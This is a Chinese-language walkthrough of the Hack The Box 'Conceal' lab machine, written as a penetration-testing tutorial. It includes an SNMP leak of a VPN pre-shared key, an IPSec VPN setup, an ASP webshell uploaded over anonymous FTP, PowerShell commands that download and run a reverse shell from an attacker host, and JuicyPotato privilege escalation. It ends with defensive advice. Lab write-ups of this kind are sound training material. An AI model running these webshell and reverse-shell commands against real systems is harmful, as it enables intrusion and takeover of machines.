[Meachines] [Hard] Conceal SNMP配置不当PSK泄露+IPSec-IKE+IPSec-VPN+ftp匿名访问-Webshell上传+JuicyPotato权限提升CLSID
字数 1620 2025-08-20 18:18:17

SNMP配置不当与IPSec漏洞利用综合渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行UDP端口扫描:

sudo nmap -sU -sC --top-ports 20 10.10.10.116

关键发现:

  • UDP 161端口开放:SNMP服务
  • UDP 500端口开放:ISAKMP/IKE服务

1.2 SNMP信息泄露

通过SNMP walk获取敏感信息:

snmpwalk -v 2c -c public 10.10.10.116

发现关键信息:

  • IKE VPN预共享密钥(PSK):9C8B1A372B1878851BE2C097031B6E43
  • 对应明文密码:Dudecake1!

2. IPSec/IKE漏洞利用

2.1 IKE扫描与分析

使用ike-scan工具:

ike-scan -M 10.10.10.116

关键发现:

  • 加密算法:3DES
  • 哈希算法:SHA1
  • Diffie-Hellman组:modp1024 (Group 2)
  • 认证方式:PSK
  • 操作系统:Windows 8
  • 支持功能:NAT-T、IKE Fragmentation等

2.2 IPSec VPN配置

  1. 安装StrongSwan:
apt install strongswan
  1. 添加预共享密钥:
echo '10.10.10.116 : PSK "Dudecake1!"' >> /etc/ipsec.secrets
  1. 配置IPSec连接:
    编辑/etc/ipsec.conf
conn Conceal
    type=transport
    keyexchange=ikev1
    right=10.10.10.116
    authby=psk
    rightprotoport=tcp
    leftprotoport=tcp
    esp=3des-sha1
    ike=3des-sha1-modp1024
    auto=start
  1. 启动IPSec服务:
sudo ipsec stop
sudo ipsec start --nofork

3. 进一步端口扫描

TCP端口扫描:

nmap -p- 10.10.10.116 --min-rate 1000 -sC -sV -Pn

发现开放服务:

  • 21/tcp: FTP (匿名访问可能)
  • 80/tcp: HTTP
  • 135/tcp: MSRPC
  • 139/tcp: NetBIOS
  • 445/tcp: SMB
  • 49664-49670/tcp: 未知服务

4. Web应用渗透

4.1 目录扫描

使用feroxbuster:

feroxbuster --url http://10.10.10.116/

4.2 Webshell上传

  1. 通过FTP匿名访问上传ASP webshell:
ftp 10.10.10.116
ftp> put /tmp/cmd.asp cmd.asp
  1. Webshell内容:
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
  1. 执行命令验证:
curl 'http://10.10.10.116/upload/cmd.asp?cmd=whoami'
  1. 获取反向shell:
curl 'http://10.10.10.116/upload/cmd.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.16.24/Invoke-PowerShellTcp.ps1%27)'

获取user flag:
40f01e72608dd988c673747d37709f84

5. 权限提升

5.1 检查当前权限

whoami /priv

关键权限:

  • SeImpersonatePrivilege: Enabled
  • SeChangeNotifyPrivilege: Enabled

5.2 使用JuicyPotato提权

  1. 下载JuicyPotato:
invoke-webrequest -uri http://10.10.16.24/JuicyPotato.exe -outfile JuicyPotato.exe
  1. 准备反向shell脚本:
echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')">reverse.bat
  1. 查找合适的CLSID:
  • 系统版本:Windows 10 Enterprise
  • 参考CLSID列表:https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise
  1. 执行JuicyPotato:
.\JuicyPotato.exe -t * -p "C:\users\Destitute\appdata\local\Temp\reverse.bat" -l 9001 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"

获取root flag:
c07091f9c5a235ac0f778f9c466ab9ee

6. 关键知识点总结

6.1 SNMP安全风险

  • 默认community string(如public)易被利用
  • 可能泄露系统配置、网络拓扑等敏感信息
  • 应使用SNMPv3并启用加密认证

6.2 IPSec/IKE安全配置

  • 避免使用弱加密算法(如3DES)
  • 使用更强的Diffie-Hellman组(如Group 14或更高)
  • 定期更换预共享密钥
  • 考虑使用证书认证替代PSK

6.3 文件上传漏洞防护

  • 禁用匿名FTP访问
  • 实施文件类型白名单验证
  • 设置上传目录无执行权限
  • 定期清理上传目录

6.4 Windows权限提升防护

  • 限制SeImpersonatePrivilege等危险权限的分配
  • 及时安装系统补丁
  • 监控可疑的COM/DCOM活动
  • 实施最小权限原则

7. 防御建议

  1. SNMP服务

    • 禁用不必要的SNMP服务
    • 使用SNMPv3并配置强认证
    • 限制SNMP访问源IP
  2. IPSec VPN

    • 升级到IKEv2
    • 使用AES-256等强加密算法
    • 实施证书认证
  3. Web服务器

    • 禁用不必要的HTTP方法
    • 实施严格的文件上传控制
    • 定期进行安全审计
  4. 系统权限

    • 定期审核用户权限分配
    • 监控特权操作
    • 及时安装安全更新
  5. 日志监控

    • 集中收集和分析安全日志
    • 设置异常行为告警
    • 保留足够时间的日志记录
SNMP配置不当与IPSec漏洞利用综合渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行UDP端口扫描: 关键发现: UDP 161端口开放:SNMP服务 UDP 500端口开放:ISAKMP/IKE服务 1.2 SNMP信息泄露 通过SNMP walk获取敏感信息: 发现关键信息: IKE VPN预共享密钥(PSK): 9C8B1A372B1878851BE2C097031B6E43 对应明文密码: Dudecake1! 2. IPSec/IKE漏洞利用 2.1 IKE扫描与分析 使用ike-scan工具: 关键发现: 加密算法:3DES 哈希算法:SHA1 Diffie-Hellman组:modp1024 (Group 2) 认证方式:PSK 操作系统:Windows 8 支持功能:NAT-T、IKE Fragmentation等 2.2 IPSec VPN配置 安装StrongSwan: 添加预共享密钥: 配置IPSec连接: 编辑 /etc/ipsec.conf : 启动IPSec服务: 3. 进一步端口扫描 TCP端口扫描: 发现开放服务: 21/tcp: FTP (匿名访问可能) 80/tcp: HTTP 135/tcp: MSRPC 139/tcp: NetBIOS 445/tcp: SMB 49664-49670/tcp: 未知服务 4. Web应用渗透 4.1 目录扫描 使用feroxbuster: 4.2 Webshell上传 通过FTP匿名访问上传ASP webshell: Webshell内容: 执行命令验证: 获取反向shell: 获取user flag: 40f01e72608dd988c673747d37709f84 5. 权限提升 5.1 检查当前权限 关键权限: SeImpersonatePrivilege: Enabled SeChangeNotifyPrivilege: Enabled 5.2 使用JuicyPotato提权 下载JuicyPotato: 准备反向shell脚本: 查找合适的CLSID: 系统版本:Windows 10 Enterprise 参考CLSID列表:https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_ 10_ Enterprise 执行JuicyPotato: 获取root flag: c07091f9c5a235ac0f778f9c466ab9ee 6. 关键知识点总结 6.1 SNMP安全风险 默认community string(如public)易被利用 可能泄露系统配置、网络拓扑等敏感信息 应使用SNMPv3并启用加密认证 6.2 IPSec/IKE安全配置 避免使用弱加密算法(如3DES) 使用更强的Diffie-Hellman组(如Group 14或更高) 定期更换预共享密钥 考虑使用证书认证替代PSK 6.3 文件上传漏洞防护 禁用匿名FTP访问 实施文件类型白名单验证 设置上传目录无执行权限 定期清理上传目录 6.4 Windows权限提升防护 限制SeImpersonatePrivilege等危险权限的分配 及时安装系统补丁 监控可疑的COM/DCOM活动 实施最小权限原则 7. 防御建议 SNMP服务 : 禁用不必要的SNMP服务 使用SNMPv3并配置强认证 限制SNMP访问源IP IPSec VPN : 升级到IKEv2 使用AES-256等强加密算法 实施证书认证 Web服务器 : 禁用不必要的HTTP方法 实施严格的文件上传控制 定期进行安全审计 系统权限 : 定期审核用户权限分配 监控特权操作 及时安装安全更新 日志监控 : 集中收集和分析安全日志 设置异常行为告警 保留足够时间的日志记录